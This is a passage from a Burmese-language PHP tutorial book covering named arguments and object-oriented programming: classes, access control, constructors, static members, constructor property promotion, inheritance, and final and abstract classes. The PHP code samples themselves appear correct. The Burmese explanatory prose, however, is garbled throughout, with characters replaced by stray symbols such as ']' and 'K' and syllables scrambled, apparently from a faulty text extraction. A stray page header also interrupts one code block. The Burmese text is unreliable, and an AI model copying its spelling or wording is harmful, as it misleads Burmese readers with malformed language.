အစီအစဉ် မမှတ်မိရင်လည်း ကိုယ်ပေပး]ျင်တဲ့ Argument အမည်နဲ့တွဲပြပီးပေပးလုိက်လို့ ရသွားပါပြပီ။ ဒီလုိပါ – 

 PHP >= 8.0 

function profile($name, $email, $age) {
   echo "$name ($age) @ $email";
}

profile(age: 23, name: "Bob", email: "bob@gmail.com");

// Bob (23) @ bob@gmail.com

Argument အမည်နဲ့ ပေပး]ျင်တဲ့ တန်Kုိးကို တွဲပေပးလုိက်တဲ့အတွက် ပေရှ့ပေနာက်အစီအစဉ် မှန်စရာ မလုိအပ်
ပေတာ့ပါဘူး။  အဆင်ပေဖြပသွားပါပြပီ။  ပေနာက်ဆုံးတစ်]ုအပေနနဲ့  ပေပးတဲ့  Argument  ပေတွများတဲ့အ]ါ  နှစ်
ပေကြကာင်းသံုးပေကြကာင်း]ွဲပေရးလ့ုိရတယ် ဆိုတာပေလးကို မှတ်သားပေစ]ျင်ပါတယ်။ ဒီလုိပါ –

 PHP >= 7.3 

profile(
   age: 23,
   name: "Bob",
   email: "bob@gmail.com",
);

Argument (၃) ]ုကို (၃) ပေကြကာင်း]ွဲပြပီး ပေရးလုိက်တာပါ။ ဒီလုိပေရးလ့ုိရပါတယ်။ ဒီလိုပေရးတဲ့အ]ါ ပေနာက်ဆုံး
က Trailing Comma ကို Array ပေတွမှာ လက်]ံသလုိပဲ Arguments List မှာလည်း လက်]ံတယ်ဆိုတာကို
တစ်]ါထဲ တွဲKက်မှတ်သားရမှာပါ။ ဒါဟာလည်း အသံုးဝင်တဲ့ ပေရးထံုးတစ်]ုပဲဖြKစ်ပါတယ်။
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အခန်း (၇) – Object-Oriented Programming

ပြပီး]ဲ့တဲ့အ]န်းမှာ  PHP  ဟာ  Object-Oriented  Language  တစ်]ု  မဟုတ်ဘူးလို့  ပေဖြပာ]ဲ့ပါတယ်။  မှန်ပါ
တယ်။  Language  ကိုယ်တိုင်က  Procedural  Language  တစ်]ုသာ  ဖြKစ်ပေပမယ့်၊  PHP    ကိုအသံုးဖြပုပြပီး  
Object-Oriented    ကုဒ်ပေတွ ပေရးသားKို့အတွက် ဖြပည့်စုံတဲ့  ပေရးထုံးပေတွ ပါဝင်ပါတယ်  ။  Object-Oriented
Language ပါဆိုတဲ့ JavaScript ထက်ပေတာင် ပေရးထံုးပုိင်းမှာ ပုိမုိ ဖြပည့်စုံပါပေသးတယ်။ ဥပမာ - Interface
လုိလုပ်ပေဆာင်]ျက်မျ ို းပေတွ၊  Abstract  Class  လုိလုပ်ပေဆာင်]ျက်မျ ို းပေတွ  JavaScript  မှာ  အ]ု  ဒီစာကို
ပေရးသားပေန]ျနိ်ထိ မပါဝင်ပေသးပါဘူး။ PHP မှာပေတာ့ ဒီပေရးထုံးပေတွထိ အကုန်အဖြပည့်အစုံ ရိှပေနပါတယ်။

OOP  ပေရးထံုး  ဖြပည့်စုံတဲ့အဖြပင်၊  ပေရးသားရလွယ်ကူပြပီး၊  အများစုရင်းနှီးပြပီးသား  ပေရးဟနရ်ှိလုိ့  OOP
အပေကြကာင်း နားလည်လွယ်ပေအာင် ရှင်းဖြပလုိတဲ့အ]ါမှာ PHP ကို အသံုးဖြပုပြပီး ရှင်းဖြပကြကတာကိုလည်း မကြကာ
မကြကာ ပေတွ့ပေနရပါတယ်။ JavaScript လုိ Language မျ ို းက သ့ူပေလာက် ပေရးထံုး မဖြပည့်စုံပါဘူး။ Java လုိ
Language  မျ ို းက ပေရးထံုးပုိင်း တင်းကြကပ်လုိ့  ပေရးရ]က်ပါတယ်။  Python  လုိ  Language  မျ ို းက တစ်]ျ ို ့
ပေတွအတွက်  အဖြမင်စိမ်းပေနနိုင်ပါတယ်။  ဒီလုိ  Language  ပေတွကြကားထဲမှာ  PHP  က ပေရးထုံးလည်းဖြပည့်စုံ၊
ပေရးရလည်းလွယ်၊ အများစုရင်းနှီးပြပီးသား ပေရးဟန်လည်းရှိလ့ုိ ပေတာ်ပေတာ်အဆင်ပေဖြပတဲ့  Language  တစ်]ု
လ့ုိ ဆိုနိုင်ပါတယ်။

PHP  မှာ  Object-Oriented  Language  အများစုနည်းတူ  Class  ပေတွကို  အသံုးဖြပုပြပီး  Object  ပေတွ
တည်ပေဆာက်နိုင်ပါတယ်။  Language  နဲ့အတူပါဝင်တဲ့  Standard Class  တစ်]ျ ို ့ရှိသလုိ ကိုယ်တိုင်လည်း
Class ပေတွကို ပေရးသားနိုင်ပါတယ်။ ဒီလုိပါ –
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 PHP 

<?php

class Animal
{
    //
}

ဒါဟာ ဘာသတ်မှတ်]ျက်မှမပါတဲ့ Class အလွတ်တစ်]ုဖြKစ်ပါတယ်။ ဒီ Class ကို အသံုးဖြပုပြပီး Object ပေတွ
တည်ပေဆာက်မယ်ဆိုရင် တည်ပေဆာက်လ့ုိရပါပြပီ။ ဒီလိုပါ – 

$dog = new Animal;

new Statement  ကိုအသံုးဖြပုပြပီး  Object  တစ်]ု  တည်ပေဆာက်လုိက်တာပါ။  Object  ရဲ့အမည်က  $dog
ဖြKစ်ပြပီး  Animal Class  ကပေနဖြKစ်ပေပါ်လာတဲ့အတွက်  Animal Object  လ့ုိ ဆိုနိုင်ပါတယ်။ အ့ဲဒီ  Object  မှာ
တန်Kုိး  (Property)  ပေတွ၊  လုပ်ပေဆာင်]ျက်  (Method)  ပေတွမရှိပေသးပါဘူး။  အ]ုလုိ  ပေလ့လာကြကည့်နိုင်ပါ
တယ်။

var_dump($dog);     // object(Animal)#1 (0) { }

var_dump() နဲ့ စစ်ကြကည့်လုိက်တဲ့အ]ါ $dog ဟာ Animal Object တစ်]ုဖြKစ်တယ်ဆိုတာကို ပေတွ့ဖြမင်
ရမှာဖြKစ်ပြပီး ဘာတန်Kုိးမှပေတာ့ မရှိပေသးတာကိုလည်း ပေတွ့ ဖြမင်ရမှာပါ။ Class အလွတ်ကပေန ဖြKစ်ပေပါ်လာတဲ့
Object မ့ုိလ့ုိ Object အလွတ်တစ်]ုသာ ဖြKစ်ပေနမှာပါ။ 

Class  ပေရးသားစဉ်မှာ  အ့ဲဒီ  Class  ကိုအသံုးဖြပုတည်ပေဆာက်တဲ့  Object  ပေတွမှာ ရှရိမယ့်  Property  ပေတွ
Method  ပေတွကို  တစ်]ါထဲ  ထည့်သွင်းသတ်မှတ်ပေပးနိုင်ပါတယ်။  အ့ဲဒီလို  သတ်မှတ်တဲ့အ]ါ၊  သတ်မှတ်
ပေပးလုိက်တဲ့  Property ပေတွ Method ပေတွကို ဘယ်ပေနရာမှာ အသံုးဖြပု]ွင့်ရှိတာလဲဆိုတဲ့  Access Control
ပေတွ  သတ်မှတ်ပေပးနိုင်ပါတယ်။  Visibility  လ့ုိလည်း  ပေ]ါ်ကြကပါတယ်။  PHP  မှာ  Public,  Private  နဲ့
Protected လ့ုိပေ]ါ်တဲ့ Access Control သတ်မှတ်]ျက် (၃) မျ ို း ရိှပါတယ်။ Public ဆိုတာ ကြကိုက်တဲ့ပေနရာ
မှာ  အသုံးဖြပု]ွင့်ရှိတယ်ဆိုတဲ့  အဓိပ္ပါယ်ဖြKစ်ပြပီး  Private  ဆိုတာကပေတာ့  လကရ်ှိ  Class  အတွင်းမှာသာ
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အသုံးဖြပု]ွင့်ရှိတယ်ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ Protected ကပေတာ့ လက်ရှိ Class နဲ့ လက်ရှိ Class ကို ဆက်]ံဖြKစ်
ပေပါ်လာတဲ့  Child  Class  ပေတွမှာ  အသံုးဖြပု]ွင့်ရှိတယ်ဆိုတဲ့အဓိပ္ပါယ်ပါ။  Property  ပေတွ  Method  ပေတွ
သတ်မှတ်တဲ့အ]ါ ဒီလုိ  Access Control  ပေတွကို  ထည့်သွင်းသတ်မှတ်ပေပးရပါတယ်။ အ]ုလုိ နမူနာပေလး
တစ်]ု စမ်းကြကည့်နိုင်ပါတယ်။

 PHP 

<?php

class Animal
{
    public $name;

    public function run()
    {
        echo "$this->name is running...";
    }
}

အ]ုဆိုရင်  Animal Class  မှာ  $name လ့ုိပေ]ါ်တဲ့  Property  နဲ့  run() လ့ုိပေ]ါ်တဲ့  Method  တစ်]ုပါဝင်
သွားပါပြပီ။  Property  ပေတွသတ်မှတ်တဲ့အ]ါ  Variable  အပေနနဲ့ပဲ  သတ်မှတ်ပေပးရပါတယ်။  Method  ပေတွ
သတ်မှတ်လုိရင်ပေတာ့  Function  ပေတွကို  အသုံးဖြပုရတာပါ။  ထူးဖြ]ား]ျက်အပေနနဲ့  $this လ့ုိပေ]ါ်တဲ့
Pseudo Variable  ကို  သတိဖြပုပါ။  Class  အတွင်းမှာ ပေကြကညာထားတဲ့  Property  ပေတွ  Method  ပေတွကို
အသုံးဖြပုလုိရင်  ဒီအတိုင်း]ျသံုးလိုက်လ့ုိ  မရပါဘူး။  $this ကပေနတစ်ဆင့်  သံုးပေပးရပါတယ်။  ဒါပေကြကာင့်
$this->name ဆိုတာဟာ သ့ူအပေပါ်မှာ  ပေကြကညာထားတဲ့  $name Property  ကို  အသံုးဖြပုလုိက်ဖြ]င်း
ဖြKစ်ပါတယ်။

အ]ုပေန ဒီ  Class  ကိုအသံုးဖြပုပြပီး  Object  တည်ပေတာက်လုိက်ရင် တည်ပေဆာက်လုိက်တဲ့  Object  ပေတွမှာ
name Property နဲ့ run() Method တို့ပါဝင်သွားမှာပဲ ဖြKစ်ပါတယ်။ ဒီလုိပါ –

$dog = new Animal;
$dog->name = "Bobby";
$dog->run();            // Bobby is running…
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နမူနာအရ Animal Class ကိုအသံုးဖြပုပြပီး  $dog Object ကိုတည်ပေဆာက်ထားပါတယ်။ ဒါပေကြကာင့် $dog
Object မှာ name Property နဲ့ run() Method တိုရ့ှိပေနပါပြပီ။ Object ရဲ့ Property ပေတွ Method ပေတွကို
ရယူ/အသံုးဖြပုKို့အတွက်  Object Operator  အပေနနဲ့  -> သပေက�တကိုအသံုးဖြပုရပါတယ်။  Dart Operator
လ့ုိ  ပေ]ါ်ကြကပါတယ်။  Java, JavaScript,  Python  စသည်ဖြKင့်  Object-Oriented Language  အများစုက
Dot  ကို  Object  Operator  အပေနနဲ့  အသံုးဖြပုကြကပေပမယ့်  PHP  မှာပေတာ့  Dart  ကိုအသံုးဖြပုရဖြ]င်း  ဖြKစ်ပါ
တယ်။   နမူနာအရ  name Property  ရဲ့  တန်Kုိးကို  Bobby  လ့ုိသတ်မှတ်ပေပးလုိက်တာပါ။  ပြပီးပေတာ့မှ
run() Method  ကို  ပေ]ါ်ယူလုိက်တဲ့အ]ါ  ရလဒ်အပေနနဲ့  Bobby is  running…  ကို  ပေတွ့ ဖြမင်ရမှာဖြKစ်ပါ
တယ်။ ကြကိုတင် ပေရးသားထားတဲ့အတိုင်း  run() Method က name Property  ရဲ့တန်Kုိးကို ထည့်သွင်း
အသုံးဖြပုသွားတာပါ။

ဒီလို  Object  ကပေန  Property  ပေတွ  Method  ပေတွကို အသုံးဖြပုလ့ုိရတယ်ဆိုတာ  Public  အဖြKစ် ပေကြကညာ
ပေရးသားထားလ့ုိပါ။  Public Member  ပေတွကို  အ]ုလုိအသံုးဖြပု]ွင့်ရှိပါတယ်။  Private  ဆိရုင်ပေတာ့ အ]ုလုိ
သံုးလ့ုိရမှာ မဟုတ်ပါဘူး။ ဥပမာ – 

 PHP 

<?php

class Animal
{
    private $name;
}

$dog = new Animal;
$dog->name = "Bobby";

// Error: Cannot access private property

နမူနာမှာ name ဟာ Private Property ဖြKစ်သွားပါပြပီ။ ဒါပေကြကာင့် Object ကပေနတစ်ဆင့် name ရဲ့တန်Kုိး
ကို ပေဖြပာင်းK့ုိကြကိုးစားတဲ့အ]ါ ပေဖြပာင်း]ွင့်မရှိဘူးဆိုတဲ့ Error ကို ရရိှမှာ ဖြKစ်ပါတယ်။

Object  တည်ပေဆာက်လုိက်တာနဲ့ အလုပ်လုပ်သွားပေစ]ျင်တာပေတွ ရှရိင်လည်း သတ်မှတ်ထားနိုင်ပါတယ်။
Constructor  လ့ုိပေ]ါ်ပါတယ်။  အရင်က  Class  အမည်နဲ့  Method  အမည်ကို  တူပေအာင်ပေပးလိုက်ရင်
Constructor ရပါတယ်။ ဒီလုိပါ –
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<?php

class Animal
{
    public function Animal()
    {
        echo "Creating Animal object";
    }
}

$dog = new Animal;

// Creating Animal object

Class အမည်က Animal ဖြKစ်ပြပီး Method အမည်ကလည်း Animal ဖြKစ်ပေနတဲ့အ]ါ Constructor ဖြKစ်သွား
ပြပီး  Object  တည်ပေဆာက်တာနဲ့ အလုိအပေလ�ာက် အလုပ်လုပ်သွားမှာပါ။ ဒါပေပမယ့်  PHP 7    ကပေနစပြပီး ဒီ  
ပေရးနည်းကို လက်မ]ံပေတာ့ပါဘူး။ ဒါပေကြကာင့် PHP 5 နဲ့စမ်းကြကည့်ရင် ရလဒ်မှန်ပေပမယ့် PHP 7 တို့  8 တိုနဲ့
ဆိုရင်ပေတာ့ အလုပ်လုပ်မှာ မဟုတ်ပါဘူး။ ရိှ]ဲ့Kူးမှန်းသိပေအာင် ထည့်ပေဖြပာတာပါ။ တစ်ကယ်ပေရးနည်းအမှန်
ကပေတာ့ __construct() လ့ုိပေ]ါ်တဲ့  Method ကို အသံုးဖြပုပြပီးပေတာ့ Construct ကို တည်ပေဆာကရ်ပါ
တယ်။ ဒါပေကြကာင့် အ]ုပေရးနည်းအမှန်က ဒီလုိပါ –

 PHP 

<?php

class Animal
{
    public function __construct()
    {
        echo "Creating Animal object";
    }
}

$dog = new Animal;

// Creating Animal object
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ဒီပေရးနည်းကပေတာ့  PHP 5, 7, 8 အားလံုးမှာ အလုပ်လုပ်တဲ့ ပေရးနည်းဖြKစ်ပါတယ်။ Object တည်ပေဆာက်
လုိက်တာနဲ့  __construct() Method  အလုိအပေလ�ာက်  အလုပ်လုပ်သွားတာပါ။  ပေရှ့ ဆုံးက
Underscore    နှစ်]ုနဲ့   စပေပးရတာကို သတိဖြပုပါ။  PHP မှာ အ့ဲဒီလုိ  Underscore  နှစ်]ုနဲ့ စပေပးရတဲ့  Magic
Method  ပေတွ  ရှိပါတယ်။  သ့ူပေနရာနဲ့သူ  ဆက်လက်ပေKာ်ဖြပပေပးပါမယ်။  အ]ု  ပေလာပေလာဆယ်  မှာပေတာ့
Object တည်ပေဆာက်လိုက်ရင် __construct() Method အလုပ်လုပ်တယ်လ့ုိ မှတ်သားရမှာပါ။

နမူနာမှာ  ပေနာက်ထပ်သတိဖြပုစရာကပေတာ့  Constructor  ကို  Public  အဖြKစ်  ပေကြကညာထားတာပဲ  ဖြKစ်ပါ
တယ်။ Constructor   က   Private   ဆိုရင် ဘာဖြKစ်မလဲ။   Object   တည်ပေဆာက်လို့ ရပေတာ့မှာ မဟုတ်ပါဘူး  ။
Object တည်ပေဆာက်]ျနိ်မှာ Constructor ကို အလုပ်လုပ်K့ုိ ကြကိုးစားတဲ့အ]ါ မရနိုင်တဲ့အတွက်ပါ။

 PHP 

<?php

class Animal
{
    private function __construct()
    {
        echo "Creating Animal object...";
    }
}

$dog = new Animal;

// Error: Call to private __construct()

နမူနာအရ Object တည်ပေဆာက်လ့ုိမရပေတာ့ဘဲ Error တက်သွားတာကို ပေတွ့ရမှာပါ။ ဒီပေနရာမှာ ပေဖြပာK့ုိလို
လာတာက Class Member ပေ]ါ်  Static Member ပေတွအပေကြကာင်းပါ။  Object  တည်ပေဆာက်စရာ မလုိဘဲ
Class အမည်ကပေန တိုက်ရိုက် အသုံးဖြပုလ့ုိရတဲ့ Property ပေတွ Method ပေတွ ပေကြကညာလ့ုိရနိုင်ပါတယ်။ ဒီ
လုိပါ –
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 PHP 

<?php

class Animal
{
    static $type = "Mammal";

    static function info()
    {
        echo "Group: " . static::$type;
    }
}

echo Animal::$type;     // Mammal
Animal::info();         // Group: Mammal

နမူနာအရ  Static  Property  တစ်]ုနဲ့  Static  Method  တစ်]ုရှိပေနတာကို  ပေတွ့ရမှာပါ။  အ့ဲဒီ  Static
Member  ပေတွကို အသံုးဖြပုနိုင်K့ုိအတွက်  Object  မပေဆာက်ပေတာ့ဘဲ  Class  အမည်ဖြKစ်တဲ့  Animal  ပေပါ်မှာ
တိုက်ရိုက် အသံုးဖြပုထားတာကိုလည်း ပေတွ့ရနိုင်ပါတယ်။ ဒီလုိ Static Member ပေတွကို ရယူK့ုိအတွက် ::
သပေက�တကို အသုံးဖြပုရတာကို သတိဖြပုပါ။ Scope Resolution Operator လ့ုိပေ]ါ်ပါတယ်။ Double Colon
Operator  လ့ုိလည်း  ပေ]ါ်နိုင်ပါတယ်။  ပေနာက်ပြပီးပေတာ့၊  Class    အတွင်းထဲမှာ    Static  Member    ပေတွကို  
အသုံးဖြပုK့ုိအတွက်   $this     ကို မသုံးဘဲ   static     ကို ပဲသံုးတယ်   ဆိုတာလည်း သတိဖြပုပါ။

တစ်]ျ ို ့အပေဖြ]အပေနပေတွမှာ  Object  ပေဆာက်]ွင့်မဖြပုဘဲ  Class Name  ပေနသာ တိုက်ရိုက်အသံုးဖြပုပေစလ့ုိတဲ့
အတွက် Static Member ပေတွကို  Private Constructor နဲ့ တွဲသံုးတာမျ ို းပေတွ ရိှကြကပါတယ်။ ပေနာက်ထပ်
မကြကာမကြကာ ပေတွ့ရမယ့် ပေရးဟန်နမူနာပေလး တစ်]ုကိုလည်း ဆက်လက်ပေKာ်ဖြပပါဦးမယ်။ ဒီလုိပါ –

 PHP 

class Animal
{

    private $name;

    public function __construct($name)
    {
        $this->name = $name;
    }



PHP – လိမေု - တိမေု - ရှင်း – အ]န်း (၇) – Object-Oriented Programming 96

    public function run()
    {
        echo "$this->name is running...";
    }
}

ဒီတစ်]ါပေတာ့  $name ဆိုတဲ့အမည်နဲ့  Private Property  တစ်]ု ပါသွားပါပြပီ။ ပြပီးပေတာ့  Constructor  က
Argument တစ်]ုလက်]ံပြပီး လက်]ံရရှိတဲ့ တန်Kုိးကို Property အဖြKစ် ပေဖြပာင်းပေပးထားပါတယ်။ ဒါပေကြကာင့်
Object  တည်ပေဆာက်တဲ့  Argument  တစ်]ုပေပးမှပဲ  တည်ပေဆာက်လ့ုိ  ရပေတာ့မှာဖြKစ်ပြပီး  ပေပးလိုက်တဲ့
Argument ဟာ Property တန်KုိးဖြKစ်သွားမှာပါ။ ဒီလိုပါ –

$dog = new Animal("Bobby");
$dog->run(); // Bobby is running…

ဒီပေရးနည်းဟာ  မကြကာမကြကာ  ပေရးကြကပေလ့ရှိတဲ့  ပေရးနည်းဖြKစ်လ့ုိ  PHP  8  မှာ  Constructor  Property
Promotion  လ့ုိပေ]ါ်တဲ့  လုပ်ပေဆာင်]ျက်  အသစ်ထည့်သွင်း  ပေပးလာပါတယ်။  Property  ကို  သပ်သပ်
ပေကြကညာစရာ မလုိပေတာ့သလုိ၊ Construct Argument ကို Property တန်KုိးဖြKစ်ပေအာင် Assign လုပ်ပေပးတဲ့
ကုဒ်ကိုလည်း ကိုယ်ဘာသာ ပေရးစရာ မလုိပေတာ့ပါဘူး။ ဒီလုိပေရးလုိက်ရင် ရသွားပါပြပီ –

 PHP >= 8.0 

<?php

class Animal
{
    public function __construct(private $name)
    {
        //
    }

    public function run()
    {
        echo "$this->name is running...";
    }
}

$dog = new Animal("Rambo");
$dog->run();                // Rambo is running…
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ပေစာပေစာကကုဒ်နဲ့  တူညီတဲ့ရလဒ်ကိုပဲ  ရပါတယ်။  Constructor  ရဲ့  Argument  မှာ  Access  Control
Modifier  ထည့်ပေရးပေပးလုိက်ယံုနဲ့  Property  ပေကြကညာတဲ့အဆင့်နဲ့  တန်Kုိး  Assign  လုပ်တဲ့အဆင့်၊  ပေရးရ
တာ နှစ်ဆင့် ပေလျာ့သွားတာပါ။

Class  တစ်]ုကိပုေရးသားတဲ့အ]ါ  အဖြ]ား  Class  ပေပါ်မှာ  အပေဖြ]]ံပြပီးပေတာ့လည်း  ပေရးလ့ုိရပါတယ်။
Inheritance လ့ုိပေ]ါ်ပါတယ်။ အပေမွဆက်]ံတယ်ပေပါ့။ ဒီလို အပေမွဆက်]ံပြပီး Inherit လုပ်လုိက်တဲ့အ]ါ မူလ
ပင်မ Class ရဲ့ လုပ်ပေဆာင်]ျက်ပေတွကို ဆက်]ံသူက ရရှိသွားမှာ ဖြKစ်ပါတယ်။

 PHP 

<?php

class Animal
{
    private $name;

    public function __construct($name)
    {
       $this->name = $name;
    }

    public function run()
    {
        echo "$this->name is running...";
    }
}

class Dog extends Animal
{
    public function bark()
    {
        echo "Woof.. woof...";
    }
}

နမူနာအရ ပင်မ  Class  ဖြKစ်တဲ့  Animal  မှာ  Private Property  ဖြKစ်တဲ့  $name ရိှပေနပါတယ်။ ပြပီးတဲ့အ]ါ
Constructor နဲ့  run() Method တို့လည်း ရှိပေနပါတယ်။ Dog Class က extends ကိုသုံးပြပီး  Animal
ကို ဆက်]ံလုိက်တဲ့အ]ါ Animal ရဲ့ လုပ်ပေဆာင်]ျက်ပေတွကို ရရိှသွားပါပြပီ။ ဒါပေကြကာင့် အ]ုလုိ အသံုးဖြပုလ့ုိရ
တာကို ပေတွ့ရမှာပဲ ဖြKစ်ပါတယ်။
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$bobby = new Dog("Bobby");
$bobby->run();      // Bobby is running...
$bobby->bark();     // Woof.. woof…

Constructor ကအစ ပင်မ Class ရဲ့ Constructor ကို ရရိှသွားတာကို ပေတွ့ဖြမင်ရဖြ]င်းပဲ ဖြKစ်ပါတယ်။ Dog
Class  မှာ  run() Method  မရှိပေပမယ့် ပင်မ  Class  ကပေန ဆက်]ံရရှိထားလ့ုိ အသုံးဖြပုနိုင်တာကိုလည်း
ပေတွ့ဖြမင်ရမှာပါ။ ဒီလုိပေတာ့ ရမှာ မဟုတ်ပါဘူး –

 PHP 

<?php

class Animal
{
    private $name;

    public function __construct($name)
    {
       $this->name = $name;
    }
}

class Dog extends Animal
{
    public function bark()
    {
        echo "$this->name : Woof.. woof...";
    }
}

$bobby = new Dog("Bobby");
$bobby->bark();     // Undefined property: Dog::$name

ပင်မ Class မှာ $name Property ရိှပေပမယ့် Private Property ဖြKစ်ပေနလ့ုိ ပင်မ Class နဲ့သာ သက်ဆိုင်ပါ
တယ်။ Dog Class  က ဆက်]ံရရှတိဲ့အထဲမှာ မပါပါဘူး။ ဒီပေနရာမှာ လုိအပ်ရင်  Protected ကို အသံုးဖြပုရ
တာပါ။  Protected Member  ပေတွဟာ ပင်မ  Class  နဲ့ပေရာ ဆက်]ံတဲ့  Class  နဲ့ပါ သက်ဆိုင်တဲ့  Member
ပေတွဖြKစ်ပါတယ်။
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 PHP 

<?php

class Animal
{
    protected $name;

    public function __construct($name)
    {
       $this->name = $name;
    }
}

class Dog extends Animal
{
    public function bark()
    {
        echo "$this->name : Woof.. woof...";
    }
}

$bobby = new Dog("Bobby");
$bobby->bark();     // Bobby : Woof.. woof…

ဒီတစ်]ါပေတာ့  အလုပ်လုပ်သွားပါပြပီ။  ပင်မ  Class  မှာ  $name Property  က  Protected  ဖြKစ်တဲ့အတွက်
ဆက်]ံတဲ့ Dog Class မှာပါ အသံုးဖြပု]ွင့် ရှိသွားလ့ုိပါ။

Inheritance  နဲ့ပက်သက်ရင်  တစ်]ျ ို ့  Language  ပေတွက  Multiple  Inheritance  ကို  ]ွင့်ဖြပုကြကပါတယ်။
Multiple Inheritance ဆိုတာ Class တစ်]ုထက်ပုိပြပီး ဆက်]ံပေရးသားနိုင်တဲ့လုပ်ပေဆာင်]ျက်မျ ို းပါ။ 

class Dog extends Animal, Mammal, Domestic
{
    //
}

ဒီပေရးထံုးအရဆိရုင် Dog Class က Animal, Mammal နဲ့ Domestic ဆိုတဲ့ Class သံုး]ုကပေန Inherit လုပ်
ယူထားတာပါ။ ဒါမျ ို းကို Multiple Inheritance လ့ုိပေ]ါ်တာပါ။ တစ်]ျ ို ့ Language ပေတကွပေတာ့ Multiple
Inheritance ကို ]ွင့်မဖြပုကြကပါဘူး။ PHP ကလည်း Multiple Inheritance ကို ]ွင့်မဖြပုတဲ့ Language ထဲမှာ
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ပါပါတယ်။ ဒါပေကြကာင့် PHP မှာ Class တစ်]ုထက်ပုိပြပီး Inheritance လုပ်လုိ့ရမှာ မဟုတ်ပါဘူး။ လုိအပ်လ့ုိ
အဆင့်ဆင့် Inherit လုပ်ရတာမျ ို းကပေတာ့ ရပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

class Animal
{
    static function info()
    {
        echo "Animal Class";
    }
}

class Dog extends Animal
{
    //
}

class Fox extends Dog
{
    //
}

Fox::info();    // Animal Class

အဆင့်ဆင့်  ဆက်]ံထားတဲ့  Fox  Class  မှာ  ဟိုးပင်မ  Animal  Class  ရဲ့  info() လ့ုိပေ]ါ်တဲ့  Static
Member ဆက်]ရံရှိထားတာကို ပေတွ့ ရဖြ]င်းပဲ ဖြKစ်ပါတယ်။

ဆက်]ံထားတဲ့ Class ပေတွက ပင်မ Class ရဲ့ လုပ်ပေဆာင်]ျက်ပေတွကို Override လုပ်ပြပီးလုိအပ်ရင် ဖြပန်ပေရး
လ့ုိ ရပါတယ်။ ပင်မ Class ရဲ့လုပ်ပေဆာင်]ျက်ကို ပေ]ါ်သုံးလ့ုိလည်း ရပါပေသးတယ်။ ဒီလိုပါ –
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 PHP 

<?php

class Animal
{
    protected $name;

    public function __construct($name)
    {
       $this->name = $name;
    }
}

class Dog extends Animal
{
    private $color;

    public function __construct($name, $color)
    {
        parent::__construct($name);
        $this->color = $color;
    }

    public function profile()
    {
        echo "$this->name has $this->color color.";
    }
}

$bobby = new Dog("Bobby", "brown");
$bobby->profile();      // Bobby has brown color.

နမူနာအရ ဆက်]ံထားတဲ့  Dog Class  မှာ  Constructor  ကိုဖြပန်ပေရးလုိက်တာပါ။ ဒါပေကြကာင့်  Dog Object
တည်ပေဆာက်တဲ့အ]ါ မူလဆက်]ံထားတဲ့ Animal Constructor အလုပ်မလုပ်ပေတာ့ဘဲ အသစ်ဖြပန်ပေရးထား
တဲ့  Dog  Constructor  က အလုပ်လုပ်သွားမှာပါ။  တစ်ဖြ]ား  Method  ပေတွ  Property  ပေတွကိုလည်း  ဒီ
အတိုင်းပဲ ဖြပန်ပေရးလ့ုိရပါတယ်။ ဒီလုိဖြပန်ပေရးတဲ့အ]ါ လုိအပ်ရင် ပင်မ Class ရဲ့မူလလုပ်ပေဆာင်]ျက်ကို ဖြပန်
ပေ]ါ်သံုးလ့ုိ ရပါတယ်။ နမူနာအရ Dog Constructor က ပင်မ Animal Class ရဲ့ Constructor ကို parent
ပေရးထံုးကပေနတစ်ဆင့် ပေ]ါ်သုံးထားတာကို ပေတွ့ နိုင်ပါတယ်။ ဒါပေကြကာင့်  Dog Object  တည်ပေဆာက်စဉ်မှာ
အလုပ်လုပ်သွားမှာက Dog Constructor ဆိုပေပမယ့် မူလ Animal Constructor ကိုလည်း ပေ]ါ်သုံးထားလ့ုိ
နှစ်]ုလံုး ပူးပေပါင်း အလုပ်လုပ်သွားတဲ့သပေဘာကို ရရှိသွားပါတယ်။
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ဒီလို  Override လုပ်ပြပီး ဖြပင်ပေရး]ွင့် မဖြပု]ျင်တဲ့ လုပ်ပေဆာင်]ျက်ပေတရွှိရင် final ပေရးထံုးကို အသံုးဖြပုနိုင်
ပါတယ်။ ဒီလုိပါ – 

 PHP 

<?php

class Animal
{
    final public function run()
    {
        echo "Animal is running...";
    }
}

class Dog extends Animal
{
    public function run()
    {
        echo "The dog is running...";
    }
}

// Error: Cannot override final method

နမူနာအရ Animal Class  ရဲ့  run() Method ကို  final လ့ုိ ပေကြကညာထားတဲ့အတွက် သ့ူကိုဆက်]ံတဲ့
Dog Class က Override လုပ်ပြပီးပေရးK့ုိကြကိုးစားတဲ့အ]ါ ]ွင့်မဖြပုဘဲ Error ပေပးတာကို ပေတွ့ဖြမင်ရမှာပဲ ဖြKစ်ပါ
တယ်။ အကယ်၍ Class  တစ်]ုလံုးကို ဆက်]ံ]ွင့် မဖြပု]ျင်ရင်လည်း  final လ့ုိပေကြကညာပေပးလ့ုိ ရပါပေသး
တယ်။ ဒီလိုပါ –

 PHP 

<?php

final class Animal
{
    public function run()
    {
        echo "Animal is running...";
    }
}
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class Dog extends Animal
{
    //
}

// Error: may not inherit from final class

final Class ကပေန Inherit လုပ်လ့ုိမရဘူးဆိုတဲ့  Error ကို ရရိှမှာ ဖြKစ်ပါတယ်။ Class ပေတွမှာ Abstract
Class  ဆိုတာလည်း  ရှိပါပေသးတယ်။  ဆက်]ံသူက  မဖြKစ်မပေန  ပေရးပေပးရမယ့်  သတ်မှတ်]ျက်ပေတွကို
Abstract Class မှာ ထည့်သတ်မှတ်နိုင်ပါတယ်။ ဒီလိုပါ –

 PHP 

<?php

abstract class Animal
{
    public abstract function talk();

    public function run()
    {
        echo "Running...";
    }
}

class Dog extends Animal
{
    //
}

// Error: abstract method must be 
// declared or implement the remaining

Animal Class ဟာ Abstract Class ဖြKစ်သွားပါပြပီ။  Abstract Class ဖြKစ်သွားရင် Abstract Method ပေတွ
လည်း ထည့ပ်ေရးလ့ုိ ရသွားပါပြပီ။ နမူနာမှာ talk() ဟာ Abstract Method ဖြKစ်ပြပီး  Code Body မပါတဲ့
Method ပေကြကညာ]ျက်သက်သက် ဆိုတာကို ပေတွ့ ရမှာပါ။ ဆက်]ံသူပေတွက ဒီ Abstract Method အတွက်
Code Body ကို  Implement လုပ် ပေရးပေပးရမှာပါ။ ပေပးထားတဲ့နမူနာမှာ  Dog Class  ဟာ Animal Class
ကို ဆက်]ံထားပေပမယ့် သတ်မှတ်ထားတဲ့  Abstract Method ကို ဆကပ်ေရးမပေပးလ့ုိ  Error  ဖြKစ်ပေနတာကို
ပေတွ့ဖြမင်ရမှာပဲ ဖြKစ်ပါတယ်။
